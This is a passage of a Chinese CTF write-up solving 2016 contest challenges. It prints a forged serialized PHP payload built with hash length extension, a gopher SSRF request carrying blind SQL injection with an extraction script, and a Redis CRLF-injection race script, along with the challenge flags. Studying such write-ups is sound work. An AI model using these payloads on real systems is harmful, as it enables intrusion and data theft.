提权过程需要path_to_catalina.out这个文件的绝对路径,该文件在/var/lib/tomcat6/logs/catalina.out
MISC100-2
题目信息
地址: http://misc.08067.me/misc3/misc.jpg
分值: 100分
Flag: flag{kaSaI_fbnkjdksSFGHFkfjksabfdJNKLDWOIafsadf}
解题过程
拿到一个图片,然后直接丢010editor,发现尾部有数据
拿出来,然后base64_decode失败,base32_decode解开了
import base64 encoded = "OZRGW4L3OVVUG22TL53HEZDVPJ2HKY2DKZIVQVTVOZ5HKY3LOJ3HIWSEKVBFIR2ZKNVXMY3LOR3H2===" data = base64.b32decode(encoded) print data
可以拿到解开的数据vbkq{ukCkS_vrduztucCVQXVuvzuckrvtZDUBTGYSkvcktv}
然后看起来像是移位,前四位肯定是flag,然后去研究规律···
-16相当于v向前推16位,也就相当于向后推10位,所以可以看做+10
老实说这里规律我我一开始的以为两位+10,两位-10
ord('f') - ord('v') = -16 = 10 ord('l') - ord('b') = 10 ord('a') - ord('k') = -10 ord('g') - ord('q') = -10
解出来之后发现不对···然后懵逼了
不得已去问了下出题人,确认此题是不是有问题,,出题人表示题目没问题,并让我尝试奇偶变换,
然后不管怎么奇偶变化都解不出来flag,然后再问了一下(原谅我这么不要脸),让我把字母奇偶变换
瞬间明白
abcdefghigklmnopqrstuvwxyz -+-+-+-+-+-+-+-+-+-+-+-+-+
于是写了个程序让他自己完成变换的过程
def checkdaxiaoxie(s): s = ord(s) if s >= 65 and s <=90: # >=A and <=Z return 1 # 大写 elif s >= 97 and s <=122: # >=a and <=z return 0 # 小写 else: return 2 # 符号 def jiajiajianjian(s): daxiaoxie = checkdaxiaoxie(s) temp = ord(s) if temp % 2 ==1: temp = temp - 10 # 奇数位 else: temp = temp + 10 # 偶数位 if daxiaoxie == 0: # 小写 if temp > 122: # >z temp -=26 elif temp < 97: # 90: # >Z temp -=26 elif temp < 65: #解出来之后是flagqkaSaIUfbnkjdksSFGHFkfjksabfdJNKLDWOIafsadfs,然后把三个符号再换回去就得到flag了
WEB400
题目信息
地址: http://web4.08067.me/
分值: 400分
Flag: flag{I_L0vE_xx1a0m4i}解题过程
这题是个代码审计的题目,扫描发现有web.zip
下载下来之后即为整站的源代码
首先在common.php里。可以看到把提交过来的各类参数foreach成k,v
common.php$v){ if(is_array($v)){ die("hello,hacker!"); } else{ $k[0] !='_'?$$k = addslashes($v):$$k = ""; } } } function mysql_conn() { $conn=@mysql_connect('localhost','root','****') or die('could not connect'.mysql_error()); mysql_query('use web'); mysql_query("SET character_set_connection=utf8, character_set_results=utf8,character_set_client=utf8", $conn); return $conn; } function get_salt( $length = 16 ) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $salt =''; for ( $i = 0; $i < $length; $i++ ) { $salt .= $chars[ mt_rand(0, strlen($chars) - 1) ]; } return $salt; } function display($arr) { $a = ''; return $a; } ?>![]()
' . $arr . '
在foreach最后的赋值阶段,对value进行了addslashes,所以这里是没办法代入一些奇怪的东西的
但是这里会存在一个可能导致变量覆盖的问题
如果接下来哪个页面没有定义某个变量,但是调用到了,就会发生变量覆盖的问题
然后去找找哪里有未定义的变量,找了一圈,就发现只有riji.php里有这么一段可疑的代码
riji.php日记系统 日记系统
一个给小美的日记系统
当前位置:首页>个人日记
$o) { echo display($o['msg']); } ?>假如$result[‘userid’]没有东西,则$id就不会被定义,然后接下来选取文章的时候就可以进行注入了
要使$result[‘userid’]取不到东西,就要$_SESSION[‘user’]不存在,于是看了一下,$_SESSION[‘user’]是在登录的时候定义的,但是整体代码没有什么地方进行unset,所以只要让$_SESSION[‘user’]不存在就可以了。
然后跟着这个思路,再看看如何让$_SESSION[‘user’]不存在,又看了一下,发现在api.php里有删除账号的操作,如果可以删除掉一个账户,而保持该账户的登录状态,
那么在riji.php里取$result[‘userid’]的时候,就会取不到东西,这时候就可以自己传入一个id值,实现变量覆盖
api.phpname);//进入数据库的数据进行转义 @mysql_conn(); $sql = "select * from user where name='$username'"; $result = @mysql_fetch_array(mysql_query($sql)); mysql_close(); if(!empty($result)){ //利用 salt 验证是否为该用户 if($this->check === md5($result['salt'] . $this->data . $username)){ echo '(=-=)!!'; if($result['role'] == 1){//检查是否为admin用户 return 1; } else{ return 0; } } else{ return 0; } } else{ return 0; } } function do_method(){ if($this->check() === 1){ if($this->method === 'del_msg'){ $this->del_msg(); } elseif($this->method === 'del_user'){ $this->del_user(); } else{ exit(); } } } function del_msg(){ if($this->msgid) { $msg_id = intval($this->msgid);//防注入 @mysql_conn(); $sql1 = "DELETE FROM msg where id='$msg_id'"; if(mysql_query($sql1)){ echo(''); exit(); } else{ echo(''); exit(); } mysql_close(); } else{ echo(''); exit(); } } function del_user(){ if($this->userid){ $user_id = intval($this->userid);//防注入 if($user_id == 1){ echo(''); exit(); } @mysql_conn(); $sql2 = "DELETE FROM user where userid='$user_id'"; if(mysql_query($sql2)){ echo(''); exit(); } else{ echo(''); exit(); } mysql_close(); } else{ echo(''); exit(); } } } $a = unserialize(base64_decode($api)); $a->do_method(); ?>从代码中可以看出,传入一个序列化的数据,然后进行反序列化之后进入check,于是要调用api.php,必须要知道admin用户的salt,data和username是自己传入的,所以是可以控制的
salt这个在登录的时候会设置在cookie里日记系统 日记系统
一个给小美的日记系统
一开始我以为是要重置掉admin的密码,结果发现重置密码是要拿到admin的mibao的,但是mibao是无论如何都拿不到的。各种尝试都没办法
于是无奈,又求助于出题人(出题人是真心的大好人呐)
出题人给出了一点提示,hash扩展攻击
Bingo!
查阅了一下原理
http://blog.csdn.net/syh_486_007/article/details/51228628
然后,再找回密码的地方可以拿到salt在MD5之后的值
base64_decode之后为917cc87f88b8833632b012418a7211ad
在github上找到了相应的工具,自己生成出了需要的hash
https://github.com/iagox86/hash_extender
拿到了hash扩展攻击之后的数据,生成base64,同时记录下利用该数据的md5 8f4d7a58b13a34d34f8384595a3de5f7
然后登陆,登陆过程抓包,拿到自己账户的id
我自己的账户id为100,然后新开一个隐身窗口(为了防止cookie冲突)访问api,删除账户Tzo1OiJhZG1pbiI6Njp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czozOiIxMDAiO3M6NToibXNnaWQiO3M6MToiMSI7fQ==然后拿着这个生成好的base64字符串调用接口删除用户
删除完成之后,访问riji.php,抓包,拿到PHPSESSID,直接丢sqlmap跑就行
WEB300
题目信息
地址: http://web5.08067.me/
分值: 300分
Flag: Flag{It_iS_s0_ea3y_!!!!!!!!!_FUCK_!!!!!}解题过程
输入自己网站么,先输入了一下自己的,发现是把请求的内容返回来了,于是猜测这里有SSRF
于是查了一下操作系统类型,CentOS 6.5
查一下IP 172.16.181.165
利用SSRF扫了一下内网,发现存在166这台主机
然后顺手一个admin,居然存在,然后又顺手一个login.php 居然又存在,hhhhh
form表单提交到wllmctf_login.php了,看样子是要登陆进去了
登录需要POST,查阅资料了解到可以用gopher协议提交POST的表单
payloadgopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20Mozilla%2f5.0%20%28Windows%20NT%206.1%3B%20WOW64%3B%20rv%3A49.0%29%20Gecko%2f20100101%20Firefox%2f49.0%250d%250aAccept%3A%20text%2fhtml%2Capplication%2fxhtml%2bxml%2Capplication%2fxml%3Bq%3D0.9%2C%2a%2f%2a%3Bq%3D0.8%250d%250aAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.8%2Cen-US%3Bq%3D0.5%2Cen%3Bq%3D0.3%250d%250aAccept-Encoding%3A%20gzip%2C%20deflate%250d%250aConnection%3A%20close%250d%250aUpgrade-Insecure-Requests%3A%201%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250ausername%3Dadmin'%20and%20'1'='1%26password%3D123456"于是开始尝试,发现在username这里存在盲注
username=admin'and 1=1 提示 password error username=admin'and 1=2 提示 error names接下来跑注入就行了
一样,交给脚本去处理#!/usr/bin/env python2 # -*- coding: utf-8 -*- import hackhttp hh = hackhttp.hackhttp() def encode(string): return string.replace(" ","%20") char = "abcdefghijklmnopqrstuvwxyz1234567890" target = "http://web5.08067.me/index.php?url=" dbname = "" for i in range(1,8): for j in char: inje = "admin' and mid(database(),%s,1)='%s'" % (i,j) payload = inje + "%2523" postdata = "username=" + payload + "%26" + "password=123" payload_len = 9 + len(inje) + 1 + 13 postdata = encode(postdata) send = "gopher://172.16.181.166:80/_POST%20/admin/wllmctf_login.php%20HTTP/1.1%250d%250a" send += "Host:%20172.16.181.166%250d%250a" send += "Content-Type:%20application/x-www-form-urlencoded%250d%250a" send += "Content-Length:%20" + str(payload_len) + "%250d%250a" send += "%250d%250a" send += postdata url = target + send a,b,c,d,e = hh.http(url) if "password error" in c: dbname += j print i,dbname break基础的pyaload也就是inje了,接下来猜库猜表猜内容
首先是获取数据库名长度,二分法,数据库名长度为7admin' and length(database()) < 20 # 对 dbname < 20 admin' and length(database()) < 10 # 对 dbname < 10 admin' and length(database()) < 5 # 错 5 < dbname < 10 admin' and length(database()) < 7 # 错 7 < dbname < 10 admin' and length(database()) < 8 # 对 7 < dbname < 8 admin' and length(database()) = 7 # 对 dbname = 7长度为7,然后查库名叫啥
admin' and mid(database(),1,1)='w' admin' and mid(database(),2,1)='l' admin' and mid(database(),3,1)='l' admin' and mid(database(),4,1)='l' admin' and mid(database(),5,1)='c' admin' and mid(database(),6,1)='t' admin' and mid(database(),7,1)='f'数据库名字为wllmctf
然后查这个库有几个表admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<10 # 对 表数量 < 10 admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<5 # 对 表数量 < 5 admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<3 # 对 表数量 < 3 admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<2 # 对 表数量 < 2 admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')<1 # 错 1 < 表数量 < 2 admin' and (select count(*) from information_schema.tables where table_schema='wllmctf')=1 # 对 表数量 = 1只有一个表,有意思,查这个表名字长度
admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))<20 # 对 长度 < 20 admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))<10 # 对 长度 < 10 admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))<5 # 对 长度 < 5 admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))<3 # 错 3 < 长度 < 5 admin' and length((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1))=4 # 对 长度 = 4表名长度为4,查表名叫啥
admin' and mid((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1),1,1)='s' admin' and mid((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1),2,1)='s' admin' and mid((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1),3,1)='r' admin' and mid((select table_name from information_schema.tables where table_schema='wllmctf' limit 0,1),4,1)='f'表名ssrf,果然有意思
表里有几个字段admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')<10 # 对 字段数 < 10 admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')<5 # 对 字段数 < 5 admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')<3 # 对 字段数 < 3 admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')<2 # 错 2 < 字段数 < 3 admin' and (select count(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf')=2 # 对 字段数 = 2有2个字段,查询第一个字段名长度
admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<10 # 对 长度 < 10 admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<5 # 错 5 < 长度 < 10 admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<7 # 错 7 < 长度 < 10 admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<8 # 错 8 < 长度 < 10 admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)<9 # 对 8 < 长度 < 9 admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1)=8 # 对 长度 = 8第一个字段名长度为8,估计为username,下个估计是password,
查询第二个字段名长度admin' and (select length(column_name) from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1)=8 # 长度 = 8也是8
查第一个字段名admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),1,1)='u' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),2,1)='s' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),3,1)='e' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),4,1)='r' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),5,1)='n' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),6,1)='a' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),7,1)='m' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 0,1),8,1)='e'第一个字段名是username,然后查第二个
admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),1,1)='p' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),2,1)='a' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),3,1)='s' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),4,1)='s' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),5,1)='w' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),6,1)='o' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),7,1)='r' admin' and mid((select column_name from information_schema.columns where table_schema='wllmctf' and table_name='ssrf' limit 1,1),8,1)='d'第二个字段名为passowrd,现在需要的信息齐了
数据库名wllmctf
表名ssrf
字段1名username
字段2名password
数据开跑
账号长度跑出来为5,跑账号admin' and mid((select username from wllmctf.ssrf),1,1)='a' admin' and mid((select username from wllmctf.ssrf),2,1)='d' admin' and mid((select username from wllmctf.ssrf),3,1)='m' admin' and mid((select username from wllmctf.ssrf),4,1)='i' admin' and mid((select username from wllmctf.ssrf),5,1)='n'账号admin,密码长度跑出来为12,开始跑密码
admin' and mid((select password from wllmctf.ssrf),1,1)='x' admin' and mid((select password from wllmctf.ssrf),2,1)='i' admin' and mid((select password from wllmctf.ssrf),3,1)='a' admin' and mid((select password from wllmctf.ssrf),4,1)='o' admin' and mid((select password from wllmctf.ssrf),5,1)='z' admin' and mid((select password from wllmctf.ssrf),6,1)='h' admin' and mid((select password from wllmctf.ssrf),7,1)='a' admin' and mid((select password from wllmctf.ssrf),8,1)='n' admin' and mid((select password from wllmctf.ssrf),9,1)='g' admin' and mid((select password from wllmctf.ssrf),10,1)='1' admin' and mid((select password from wllmctf.ssrf),11,1)='2' admin' and mid((select password from wllmctf.ssrf),12,1)='3'密码xiaozhang123
登录吧~
WEB200-4
题目信息
地址: http://web7.08067.me/web7
分值: 200分
Flag: flag{this_FUN_XXoo_ABC_UDAFBFnsasfg}解题过程
看起来又像是一个SSRF,妈蛋!
老样子,想写上自己的服务器,发现请求的UA头是urllib2.6
然后找了一下相关漏洞,发现存在HTTP头注入,然后在admin页面随便提交一个发现提示fast fast fast….
更快?想想,什么能更快,然后灵光一闪,缓存啊,然后想想什么能做缓存,redis和memcached,猜测是redis,于是访问了下本地6379端口,果然开放
payloadhttp://127.0.0.1%0d%0adbsize%0d%0a:6379/foo如果可以访问到的话则是Header is empty,访问不到的话则是什么都不显示
于是开始构造HTTP头注入,一开始是以为要写公钥,但是又想到写进去也访问不了啊,于是思(xun)索(wen)了(ti)下(shi)
是要更新redis里的admin的值,服务端那边会以一定线程去更新,如果我更新的速度比他快,那就可以更新成功,然后就可以login进去
好一个线程竞争
写程序提交更新吧import hackhttp hh = hackhttp.hackhttp() url = "http://web7.08067.me/web7/input" raw = '''POST /web7/input HTTP/1.1 Host: web7.08067.me Content-Length: 68 Cache-Control: max-age=0 Origin: http://web7.08067.me Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 DNT: 1 Referer: http://web7.08067.me/web7/input/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6 Connection: close value=http://127.0.0.1%0d%0aset%20admin%20lineline%0d%0a:6379/foo''' while True: a,b,c,d,e = hh.http(url,raw=raw) print a登录这里也需要有一个高速访问的状态,我这里直接用Burp去访问了
所以就是先启动更新脚本,然后启动Burp,观察Burp的length,不同的那个即为登陆成功状态
我这里怕更新不上,把更新脚本运行的多份,每个都是多线程的,不怕更新不上去
讲道理,这么给自己服务器找DDoS真的好么- -!REVERSE300
题目信息
地址: http://misc.08067.me/CM300/
分值: 300分
Flag: flag{sA7_Tr03_I’m_Sb!|SwP0}解题过程
因为本人水平有限,所以此题最终并没有解出来,此处摘抄了官方的解题过程
官方链接:http://bobao.360.cn/ctf/detail/173.html
CM300分为两个部分第一个为 key 和第二个部分 flag
Key输入进行md5加密。找到常量186, 23, 99, 168, 254, 185, 21, 172, 61, 195, 239, 219, 52, 229, 129, 55转为16进制。再去解md5就OK。ba1763a8feb915ac3dc3efdb34e58137 = md5('SwP0')void Encode1(unsigned char *decrypt, unsigned char *Flag) { for ( int i = 0; i < 16; i++) { Flag[i] ^= decrypt[i]; if (i % 2 == 0 && i < 9) Flag[i] -= 40; if (i % 2 != 0 && i < 9) Flag[i] += 1; if (i>=9) { if (i < 12) { Flag[i] -= 50; } else { Flag[i] -= 9; } } } } void Encode2(unsigned char *decrypt, unsigned char * Flag) { for (int i = 0; i < 16; i++) { Flag[i] ^= 29; if (i%2 != 0) { Swap(&Flag[i-1],&Flag[i]); } } Encode1(decrypt, Flag); } void Swap(unsigned char *p1, unsigned char *p2) { char temp; temp = *p1; *p1 = *p2; *p2 = temp; } int Decode(unsigned char * Flag) { int i = Flag[0] - 199 + Flag[1] - 171 + Flag[2] - 93 + Flag[3] - 153 + Flag[4] - 6 + Flag[5] - 38 + Flag[6] - 127 + Flag[7] - 76 + Flag[8] - 79 + Flag[9] - 177 + Flag[10] - 67 + Flag[11] - 29 + Flag[12] - 122 + Flag[13] - 144 + Flag[14] - 135 + Flag[15] - 230 - 15; return i; }总觉得最后应该多点废话的总结
老实说,这次CTF算起来并不能是一份满意的答卷,因为在很多关键的思路点,各位出题人一步一步的引导,才让我能够做出来绝大部分题目,其中Web400的哥们陪我撸到5点,真心感动
也是第一次知道反序列化wakeup可以绕过,第一次知道还有hash扩展攻击,第一次知道gopher可以发POST包,第一次知道redis无差别接收数据,第一次做代码审计发现变量覆盖
Misc的哥们第一次出的NTFS流我发现有问题,反馈之后很快的处理,完事还专门通知我题目更新了~
有朋友告诉我WriteUp写这么详细没什么卵用啊,浪费时间,随便写写赚个流量就OK了嘛,
But我不这么认为,当初开博客的初衷就是写给自己看的东西,以防自己以后踩坑
写的过程我尽量照顾到水平有限的看官,用我觉得最能通俗易懂的语言,描述整个解题的过程及思路
相关的资料我这里尽量都给出链接,工具给出步骤截图
写到这里,这份WP已经4W字了,自己看到也是吓了一跳
能在CTF中认识到各种新鲜的玩法,有趣的漏洞,牛逼的思路,本身就已经赚了
最后,总是要感谢一下嘛~
感谢主办方西南石油大学,题目十分精彩
感谢各位熬夜值守出题人,我也参与过整个CTF的从出题到上线,到部署,值守,统计,到线下接待,环境部署,疑难解答,深知这份工作之艰辛
通宵几天很正常,几乎是用生命在战斗
十分感谢!!!
嗯,可以结束了
LinE Writing with the 2016-10-30 01:30